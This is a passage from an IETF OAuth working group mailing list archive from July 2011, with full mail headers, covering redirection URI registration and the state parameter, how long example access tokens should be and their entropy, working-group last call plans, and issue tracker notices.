[127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 12CEB21F8783 for ; Thu, 7 Jul 2011 01:37:52 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.674 X-Spam-Level: X-Spam-Status: No, score=-2.674 tagged_above=-999 required=5 tests=[AWL=-0.075, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id G0AFpEZo3Ajm for ; Thu, 7 Jul 2011 01:37:51 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 911D921F8782 for ; Thu, 7 Jul 2011 01:37:51 -0700 (PDT) Received: (qmail 26084 invoked from network); 7 Jul 2011 08:37:50 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 7 Jul 2011 08:37:50 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Thu, 7 Jul 2011 01:37:49 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt , OAuth WG Date: Thu, 7 Jul 2011 01:37:48 -0700 Thread-Topic: [OAUTH-WG] state parameter and XSRF detection Thread-Index: Acw1EFhTRYyj+G+JRSaRgZ7EwfUUSgHcJHcg Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FDD3@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E08F494.2010807@lodderstedt.net> In-Reply-To: <4E08F494.2010807@lodderstedt.net> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] state parameter and XSRF detection X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 08:37:52 -0000 Allowing any flexibly in the redirection URI is a bad thing and the latest = draft (pre -17) clearly states that. The main fear is that by allowing the = query to be changed dynamically, attackers can find open redirector loophol= es to abuse. I really wanted to make registration of the absolute URI a MUS= T, but didn't go that far. EHL > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Torsten Lodderstedt > Sent: Monday, June 27, 2011 2:22 PM > To: OAuth WG > Subject: [OAUTH-WG] state parameter and XSRF detection >=20 > Hi all, >=20 > while working on a new revision of the OAuth security document, a questio= n > arose I would like to clarify on the list. >=20 > The "state" parameter is supposed to be used to link a certain authorizat= ion > request and response. Therefore, the client stores a value in this parame= ter > that is somehow bound to a value retained on the device (the user agent) > originating the authorization request. >=20 > The question now is: Would it be compliant with the core spec to use any > other URI query parameter encoded in the redirect_uri, instead of the > "state" parameter, to achieve the same goal? Probably the client already = has > a working "legacy" implementation it does not want to change just for > OAuth2 compliance. >=20 > According to section 2.2.1, the redirection uri could contain a dynamic > portion: >=20 > "The authorization server SHOULD require the client to pre-register > their redirection URI or at least certain components such as the > scheme, host, port and path" >=20 > So this should be fine. >=20 > Any comments? >=20 > regards, > Torsten. >=20 > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From wmills@yahoo-inc.com Thu Jul 7 06:25:00 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id A3ABD1F0C36 for ; Thu, 7 Jul 2011 06:25:00 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -17.598 X-Spam-Level: X-Spam-Status: No, score=-17.598 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HTML_MESSAGE=0.001, USER_IN_DEF_WHITELIST=-15] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id lp4n0qdVbnfB for ; Thu, 7 Jul 2011 06:24:59 -0700 (PDT) Received: from web31816.mail.mud.yahoo.com (web31816.mail.mud.yahoo.com [68.142.206.169]) by ietfa.amsl.com (Postfix) with SMTP id 8F08F1F0C34 for ; Thu, 7 Jul 2011 06:24:59 -0700 (PDT) Received: (qmail 90283 invoked by uid 60001); 7 Jul 2011 13:24:56 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo-inc.com; s=ginc1024; t=1310045096; bh=zadXHefq16J2vjWETN2yPtKrqvhpsqElYVRwckAVnck=; h=X-YMail-OSG:Received:X-RocketYMMF:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type; b=qI1HZcfnClmkgcBaugZZ+mYf9WHQZHMa/7rShHPquTDeqKJrLXTeL/UKj47/Ol0opOZk9wqjxwQbn2F1f8FuuImHSElBvhEcUC0zCiGvfjaBlsHIgbobbQJzocpWgwnzpqCvYQm+poBnZy3+AVOxBurQWx2b8yihi230IafHfO0= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=ginc1024; d=yahoo-inc.com; h=X-YMail-OSG:Received:X-RocketYMMF:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type; b=UwS7z09z91EvQpL7N0vE2cn92Jhdi5pqDOs/7F4uRUyiJ5Oz/80SLu5XWK0AHX4FWvvNrVSvQyk5+gJFC0KOGKF2CeFN4zuQp8CAfWqJctDhdy0Zeb/+v6JFDEHFxADb5Hzhkp6u+MOWEACbhsfMA7ZVfG+DDL9bg+9Its5GzeE=; X-YMail-OSG: LaKbfKcVM1kMsmOPNoIyJ3cCh.pJPobxPPtSbJtql6gNQxJ LRzjCc1H8asvfYWLn5ohcu3tZryH01VY2LVwg.BhaZOb_C.9yN1skMlwUzKK Ghpu0G48iuPzit9YqPYadkzmoWB1e_1KAXqVeoJs9TqRnDNvN_VvdUc0Terc pf_UnD1sn5rzwJ9GO5YsZ5tPdUVlBn4V_A6g72xpJGs76wmdOXveUbLfn7Y6 eMm69bAOZ5kclPxA8W0mzJHa21UY0mmjphgloHJ1K9f63C4CkEJoRfxgtX2u RbFtrQoPfMsFg.MwJrDzkk8BNyQLq0DSIj3mp8WehHJ7dADNfXCEhGLQzQzj FoPhtSbZFLt6hpZZUYtxD Received: from [99.31.212.42] by web31816.mail.mud.yahoo.com via HTTP; Thu, 07 Jul 2011 06:24:55 PDT X-RocketYMMF: william_john_mills X-Mailer: YahooMailWebService/0.8.112.307740 References: <1309994834.63760.YahooMailRC@web121010.mail.ne1.yahoo.com> <90C41DD21FB7C64BB94121FBBC2E7234501D49FDB8@P3PW5EX1MB01.EX1.SECURESERVER.NET> Message-ID: <1310045095.91062.YahooMailNeo@web31816.mail.mud.yahoo.com> Date: Thu, 7 Jul 2011 06:24:55 -0700 (PDT) From: "William J. Mills" To: Eran Hammer-Lahav , Brian Campbell , Oleg Gryb In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D49FDB8@P3PW5EX1MB01.EX1.SECURESERVER.NET> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1656934704-1310045095=:91062" Cc: OAuth WG Subject: Re: [OAUTH-WG] Example tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list Reply-To: "William J. Mills" List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 13:25:00 -0000 --0-1656934704-1310045095=:91062 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Access tokens realistically may be longer as they may have encrypted scopes= and such.=0A=0A=0A=0A________________________________=0AFrom: Eran Hammer-= Lahav =0ATo: Brian Campbell ; Oleg Gryb =0ACc: OAuth WG =0ASent: Wedn= esday, July 6, 2011 8:53 PM=0ASubject: Re: [OAUTH-WG] Example tokens=0A=0AD= oes that apply to access tokens, refresh tokens, and authorization codes? I= can try squeezing in 22 characters.=0A=0AEHL=0A=0A> -----Original Message-= ----=0A> From: Brian Campbell [mailto:bcampbell@pingidentity.com]=0A> Sent:= Wednesday, July 06, 2011 8:46 PM=0A> To: Oleg Gryb=0A> Cc: Eran Hammer-Lah= av; OAuth WG=0A> Subject: Re: [OAUTH-WG] Example tokens=0A> =0A> So on the = 128-bit note, the examples could probably be a bit shorter,=0A> 22 characte= rs would give somewhat more than 128 bits of randomness.=0A> But to EHL's o= riginal question, the examples (currently 7-12=0A> characters) should proba= bly be longer.=0A> =0A> On Wed, Jul 6, 2011 at 5:27 PM, Oleg Gryb wrote:=0A> > log2(64^27)=3D162 bits=0A> >=0A> > Looks good. Fo= r comparison, 128-bit entropy for a key in symmetric=0A> > encryption used = by SSL is considered as strong.=0A> > I'm assuming that all those 162 bits = are generated by a good randomizer.=0A> >=0A> >=0A> >=0A> >=0A> > ----- Ori= ginal Message ----=0A> >> From: Brian Campbell = =0A> >> To: Eran Hammer-Lahav =0A> >> Cc: OAuth WG =0A> >> Sent: Wed, July 6, 2011 4:06:29 PM=0A> >> Subject: Re:= [OAUTH-WG] Example tokens=0A> >>=0A> >> If I've done the math correctly, 2= 7 characters would give you a=0A> >> little more =A0than 20 bytes worth of = randomness (assuming your are=0A> >> using =A0random alphanumeric character= s or base64url encoded bytes).=0A> >> 20 bytes =A0is something you see as a= SHOULD type minimum length in=0A> >> other =A0protocols for random identif= iers. =A0Not sure if that's=0A> >> sufficient =A0reasoning but it's what I = can come up with.=0A> >>=0A> >> On Wed, Jul 6, 2011 at =A04:40 PM, Eran Ham= mer-Lahav=0A> >> =0A> > wrote:=0A> >> > Are =A0the tok= ens used in the examples long enough? I don't want the=0A> >> > examples=0A= > >> > =A0to demonstrate poor choice of byte count.=0A> >> > EHL=0A> >> > = =A0_______________________________________________=0A> >> > OAuth mailing = =A0list=0A> >> > OAuth@ietf.org=0A> >> > https://www.ietf.org/mailman/listi= nfo/oauth=0A> >> >=0A> >> >=0A> >> ________________________________________= _______=0A> >> OAuth =A0mailing list=0A> >> OAuth@ietf.org=0A> >> https://w= ww.ietf.org/mailman/listinfo/oauth=0A> >>=0A> >=0A_________________________= ______________________=0AOAuth mailing list=0AOAuth@ietf.org=0Ahttps://www.= ietf.org/mailman/listinfo/oauth --0-1656934704-1310045095=:91062 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable
Access tokens realistically may be longer as they may have encrypted scop= es and such.

To: Brian Campbell <bcampbell@= pingidentity.com>; Oleg Gryb <oleg@gryb.info>
Cc: OAuth WG <oauth@ietf.org>
<= span style=3D"font-weight: bold;">Sent: Wednesday, July 6, 2011 = 8:53 PM
Subject: Re: [O= AUTH-WG] Example tokens

=0ADoes that apply to access tokens, refresh = tokens, and authorization codes? I can try squeezing in 22 characters.
<= br>EHL

> -----Original Message-----
> From: Brian Campbell = [mailto:bcampbell@pingidentity.com]
> Sent: Wedn= esday, July 06, 2011 8:46 PM
> To: Oleg Gryb
> Cc: Eran Hammer-= Lahav; OAuth WG
> Subject: Re: [OAUTH-WG] Example tokens
>
= > So on the 128-bit note, the examples could probably be a bit shorter,<= br>> 22 characters would give somewhat more than 128 bits of randomness.=
> But to EHL's original question, the examples (currently 7-12
&g= t; characters) should probably be longer.
>
> On Wed, Jul 6, 2= 011 at 5:27 PM, Oleg Gryb <oleg_gryb@yahoo.com> wrote:
>= > log2(64^27)=3D162 bits
> >
> > Looks good. For comparison, 128-bit entropy for a key in= symmetric
> > encryption used by SSL is considered as strong.
= > > I'm assuming that all those 162 bits are generated by a good rand= omizer.
> >
> >
> >
> >
> > --= --- Original Message ----
> >> From: Brian Campbell <bcampbell@pingidentity.com>
> >> To: Eran Hamm= er-Lahav <eran@hueniverse.com>
> >> Cc: OAuth WG &= lt;oaut= h@ietf.org>
> >> Sent: Wed, July 6, 2011 4:06:29 PM
&= gt; >> Subject: Re: [OAUTH-WG] Example tokens
> >>
>= ; >> If I've done the math correctly, 27 characters would give you a
> >> little more  than 20 bytes worth of randomness (as= suming your are
> >> using  random alphanumeric characters= or base64url encoded bytes).
> >> 20 bytes  is something = you see as a SHOULD type minimum length in
> >> other  pro= tocols for random identifiers.  Not sure if that's
> >> su= fficient  reasoning but it's what I can come up with.
> >>=
> >> On Wed, Jul 6, 2011 at  4:40 PM, Eran Hammer-Lahav> >> <eran@hueniverse.com>
> > wrote:
&= gt; >> > Are  the tokens used in the examples long enough? I = don't want the
> >> > examples
> >> >  t= o demonstrate poor choice of byte count.
> >> > EHL
> = >> >  _______________________________________________
> >> >= ; OAuth mailing  list
> >> > OAuth@ietf.org
> >&g= t; > https://www.ietf.org/mailman/listinfo/oauth
> >> >= ;
> >> >
> >> __________________________________= _____________
> >> OAuth  mailing list
> >> OAuth@iet= f.org
> >> https://www.ietf.org/mailman/listinfo/oauth> >>
> >
___________________________________________= ____
OAuth mailing list
OAuth@ietf.org
htt= ps://www.ietf.org/mailman/listinfo/oauth


<= /body> --0-1656934704-1310045095=:91062-- From gffletch@aol.com Thu Jul 7 06:34:47 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id A46321F0C40 for ; Thu, 7 Jul 2011 06:34:47 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.554 X-Spam-Level: X-Spam-Status: No, score=-1.554 tagged_above=-999 required=5 tests=[AWL=1.044, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id MvGsHT4T93+v for ; Thu, 7 Jul 2011 06:34:46 -0700 (PDT) Received: from imr-ma03.mx.aol.com (imr-ma03.mx.aol.com [64.12.206.41]) by ietfa.amsl.com (Postfix) with ESMTP id AFBAE1F0C46 for ; Thu, 7 Jul 2011 06:34:46 -0700 (PDT) Received: from mtaout-mb05.r1000.mx.aol.com (mtaout-mb05.r1000.mx.aol.com [172.29.41.69]) by imr-ma03.mx.aol.com (8.14.1/8.14.1) with ESMTP id p67DYX2D012940; Thu, 7 Jul 2011 09:34:33 -0400 Received: from palantir.local (unknown [10.181.183.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mtaout-mb05.r1000.mx.aol.com (MUA/Third Party Client Interface) with ESMTPSA id 06831E0000F1; Thu, 7 Jul 2011 09:34:32 -0400 (EDT) Message-ID: <4E15B5E8.7050207@aol.com> Date: Thu, 07 Jul 2011 09:34:32 -0400 From: George Fletcher Organization: AOL LLC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110624 Thunderbird/5.0 MIME-Version: 1.0 To: "William J. Mills" References: <1309994834.63760.YahooMailRC@web121010.mail.ne1.yahoo.com> <90C41DD21FB7C64BB94121FBBC2E7234501D49FDB8@P3PW5EX1MB01.EX1.SECURESERVER.NET> <1310045095.91062.YahooMailNeo@web31816.mail.mud.yahoo.com> In-Reply-To: <1310045095.91062.YahooMailNeo@web31816.mail.mud.yahoo.com> Content-Type: multipart/alternative; boundary="------------050802070701040707010102" x-aol-global-disposition: G X-AOL-SCOLL-SCORE: 0:2:497153536:93952408 X-AOL-SCOLL-URL_COUNT: 0 x-aol-sid: 3039ac1d29454e15b5e871c5 X-AOL-IP: 10.181.183.18 Cc: Oleg Gryb , OAuth WG Subject: Re: [OAUTH-WG] Example tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 13:34:47 -0000 This is a multi-part message in MIME format. --------------050802070701040707010102 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit +1 If the system just needs a random identifier with state maintained on the server, then the current tokens are fine. For those systems that plan to encrypt data in the scopes (or use JWTs) they will be much larger. Thanks, George On 7/7/11 9:24 AM, William J. Mills wrote: > Access tokens realistically may be longer as they may have encrypted > scopes and such. > > ------------------------------------------------------------------------ > *From:* Eran Hammer-Lahav > *To:* Brian Campbell ; Oleg Gryb > > *Cc:* OAuth WG > *Sent:* Wednesday, July 6, 2011 8:53 PM > *Subject:* Re: [OAUTH-WG] Example tokens > > Does that apply to access tokens, refresh tokens, and authorization > codes? I can try squeezing in 22 characters. > > EHL > > > -----Original Message----- > > From: Brian Campbell [mailto:bcampbell@pingidentity.com > ] > > Sent: Wednesday, July 06, 2011 8:46 PM > > To: Oleg Gryb > > Cc: Eran Hammer-Lahav; OAuth WG > > Subject: Re: [OAUTH-WG] Example tokens > > > > So on the 128-bit note, the examples could probably be a bit shorter, > > 22 characters would give somewhat more than 128 bits of randomness. > > But to EHL's original question, the examples (currently 7-12 > > characters) should probably be longer. > > > > On Wed, Jul 6, 2011 at 5:27 PM, Oleg Gryb > wrote: > > > log2(64^27)=162 bits > > > > > > Looks good. For comparison, 128-bit entropy for a key in symmetric > > > encryption used by SSL is considered as strong. > > > I'm assuming that all those 162 bits are generated by a good > randomizer. > > > > > > > > > > > > > > > ----- Original Message ---- > > >> From: Brian Campbell > > > >> To: Eran Hammer-Lahav > > > >> Cc: OAuth WG > > > >> Sent: Wed, July 6, 2011 4:06:29 PM > > >> Subject: Re: [OAUTH-WG] Example tokens > > >> > > >> If I've done the math correctly, 27 characters would give you a > > >> little more than 20 bytes worth of randomness (assuming your are > > >> using random alphanumeric characters or base64url encoded bytes). > > >> 20 bytes is something you see as a SHOULD type minimum length in > > >> other protocols for random identifiers. Not sure if that's > > >> sufficient reasoning but it's what I can come up with. > > >> > > >> On Wed, Jul 6, 2011 at 4:40 PM, Eran Hammer-Lahav > > >> > > > > wrote: > > >> > Are the tokens used in the examples long enough? I don't want the > > >> > examples > > >> > to demonstrate poor choice of byte count. > > >> > EHL > > >> > _______________________________________________ > > >> > OAuth mailing list > > >> > OAuth@ietf.org > > >> > https://www.ietf.org/mailman/listinfo/oauth > > >> > > > >> > > > >> _______________________________________________ > > >> OAuth mailing list > > >> OAuth@ietf.org > > >> https://www.ietf.org/mailman/listinfo/oauth > > >> > > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > > > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth --------------050802070701040707010102 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit +1

If the system just needs a random identifier with state maintained on the server, then the current tokens are fine. For those systems that plan to encrypt data in the scopes (or use JWTs) they will be much larger.

Thanks,
George

On 7/7/11 9:24 AM, William J. Mills wrote:
Access tokens realistically may be longer as they may have encrypted scopes and such.

From: Eran Hammer-Lahav <eran@hueniverse.com>
To: Brian Campbell <bcampbell@pingidentity.com>; Oleg Gryb <oleg@gryb.info>
Cc: OAuth WG <oauth@ietf.org>
Sent: Wednesday, July 6, 2011 8:53 PM
Subject: Re: [OAUTH-WG] Example tokens

Does that apply to access tokens, refresh tokens, and authorization codes? I can try squeezing in 22 characters.

EHL

> -----Original Message-----
> From: Brian Campbell [mailto:bcampbell@pingidentity.com]
> Sent: Wednesday, July 06, 2011 8:46 PM
> To: Oleg Gryb
> Cc: Eran Hammer-Lahav; OAuth WG
> Subject: Re: [OAUTH-WG] Example tokens
>
> So on the 128-bit note, the examples could probably be a bit shorter,
> 22 characters would give somewhat more than 128 bits of randomness.
> But to EHL's original question, the examples (currently 7-12
> characters) should probably be longer.
>
> On Wed, Jul 6, 2011 at 5:27 PM, Oleg Gryb <oleg_gryb@yahoo.com> wrote:
> > log2(64^27)=162 bits
> >
> > Looks good. For comparison, 128-bit entropy for a key in symmetric
> > encryption used by SSL is considered as strong.
> > I'm assuming that all those 162 bits are generated by a good randomizer.
> >
> >
> >
> >
> > ----- Original Message ----
> >> From: Brian Campbell <bcampbell@pingidentity.com>
> >> To: Eran Hammer-Lahav <eran@hueniverse.com>
> >> Cc: OAuth WG <oauth@ietf.org>
> >> Sent: Wed, July 6, 2011 4:06:29 PM
> >> Subject: Re: [OAUTH-WG] Example tokens
> >>
> >> If I've done the math correctly, 27 characters would give you a
> >> little more  than 20 bytes worth of randomness (assuming your are
> >> using  random alphanumeric characters or base64url encoded bytes).
> >> 20 bytes  is something you see as a SHOULD type minimum length in
> >> other  protocols for random identifiers.  Not sure if that's
> >> sufficient  reasoning but it's what I can come up with.
> >>
> >> On Wed, Jul 6, 2011 at  4:40 PM, Eran Hammer-Lahav
> >> <eran@hueniverse.com>
> > wrote:
> >> > Are  the tokens used in the examples long enough? I don't want the
> >> > examples
> >> >  to demonstrate poor choice of byte count.
> >> > EHL
> >> >  _______________________________________________
> >> > OAuth mailing  list
> >> > OAuth@ietf.org
> >> > https://www.ietf.org/mailman/listinfo/oauth
> >> >
> >> >
> >> _______________________________________________
> >> OAuth  mailing list
> >> OAuth@ietf.org
> >> https://www.ietf.org/mailman/listinfo/oauth
> >>
> >
_______________________________________________
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth




_______________________________________________
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth

--------------050802070701040707010102-- From barryleiba.mailing.lists@gmail.com Thu Jul 7 06:49:00 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 62EFC21F85F5 for ; Thu, 7 Jul 2011 06:49:00 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -103.188 X-Spam-Level: X-Spam-Status: No, score=-103.188 tagged_above=-999 required=5 tests=[AWL=-0.211, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id M6MJYXW+u29A for ; Thu, 7 Jul 2011 06:48:59 -0700 (PDT) Received: from mail-gx0-f172.google.com (mail-gx0-f172.google.com [209.85.161.172]) by ietfa.amsl.com (Postfix) with ESMTP id C1AB221F85E5 for ; Thu, 7 Jul 2011 06:48:59 -0700 (PDT) Received: by gxk19 with SMTP id 19so375108gxk.31 for ; Thu, 07 Jul 2011 06:48:59 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:content-type; bh=wSE3cge0bYvx7TO3mdj5pmmI5qK9oBxgCfKv+jXuPFI=; b=XGCFzZvjTS9EWLX/tLX1yz1LITSPr1VAfajNpqHGvEkw3c2/1eux3Ic277ObtHXUnH JGpJtsUtP7wH7l8f8aW11OqYIxu4kzj/AuB6oya6qQsB1YW7TzjVwpaxMl8VcSVHmJ7h xkJJYtMhnyGohpt7iL5Bgk9N1KssOI312AuFE= MIME-Version: 1.0 Received: by 10.147.65.5 with SMTP id s5mr695913yak.9.1310046539183; Thu, 07 Jul 2011 06:48:59 -0700 (PDT) Sender: barryleiba.mailing.lists@gmail.com Received: by 10.147.41.12 with HTTP; Thu, 7 Jul 2011 06:48:59 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D49FDD2@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D49FDD2@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Thu, 7 Jul 2011 09:48:59 -0400 X-Google-Sender-Auth: 0vi9sGfqRKLCxn2YfZBLBUHRyuc Message-ID: From: Barry Leiba To: OAuth WG Content-Type: text/plain; charset=ISO-8859-1 Subject: Re: [OAUTH-WG] Timely review request: pre-draft-17 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 13:49:00 -0000 On Thu, Jul 7, 2011 at 4:01 AM, Eran Hammer-Lahav wrote: > -17 will be published by Friday at which point I will leave it to > the chairs to decide if they still want to initiate WGLC or give > the draft a few days of informal review. Working-group last call can cover all reviews of this. It's a less formal thing than IETF last call, which the IESG will initiate later... and we can recycle the document and do another WGLC if it turns out that we got something so seriously wrong that it's necessary. And I'd like to take this opportunity to say that the chairs are happy with the progress, and we thank everyone for the careful reviews, and for working together to get this work wrapped up. Barry, as chair From trac+oauth@trac.tools.ietf.org Thu Jul 7 06:50:11 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 59C1421F86CB for ; Thu, 7 Jul 2011 06:50:11 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.6 X-Spam-Level: X-Spam-Status: No, score=-102.6 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, NO_RELAYS=-0.001, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id VQawX+meTtIw for ; Thu, 7 Jul 2011 06:50:11 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [IPv6:2001:1890:1112:1::2a]) by ietfa.amsl.com (Postfix) with ESMTP id 04CC421F85E5 for ; Thu, 7 Jul 2011 06:50:11 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1Qeoxy-00071l-JD; Thu, 07 Jul 2011 06:50:06 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Thu, 07 Jul 2011 13:50:06 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/7#comment:2 Message-ID: <060.35be9fdf250e598b4cf6f2e44c8ddbc8@trac.tools.ietf.org> References: <051.83a0addeca9e2959f66b5e6b1c472d61@trac.tools.ietf.org> X-Trac-Ticket-ID: 7 In-Reply-To: <051.83a0addeca9e2959f66b5e6b1c472d61@trac.tools.ietf.org> X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: Re: [OAUTH-WG] [oauth] #7: Incorporate Security Considerations draft into OAuth base X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 13:50:11 -0000 #7: Incorporate Security Considerations draft into OAuth base Changes (by barryleiba@…): * status: new => closed * resolution: => fixed -- --------------------------------+------------------------------------------- Reporter: Barry Leiba | Owner: Type: task | Status: closed Priority: blocker | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Resolution: fixed Keywords: | --------------------------------+------------------------------------------- Ticket URL: oauth From trac+oauth@trac.tools.ietf.org Thu Jul 7 06:50:56 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6A6EB21F86CB for ; Thu, 7 Jul 2011 06:50:56 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.6 X-Spam-Level: X-Spam-Status: No, score=-102.6 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, NO_RELAYS=-0.001, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id kGjPolEThlfZ for ; Thu, 7 Jul 2011 06:50:56 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [IPv6:2001:1890:1112:1::2a]) by ietfa.amsl.com (Postfix) with ESMTP id 1844921F85E5 for ; Thu, 7 Jul 2011 06:50:56 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1Qeoym-0005aa-0t; Thu, 07 Jul 2011 06:50:56 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: 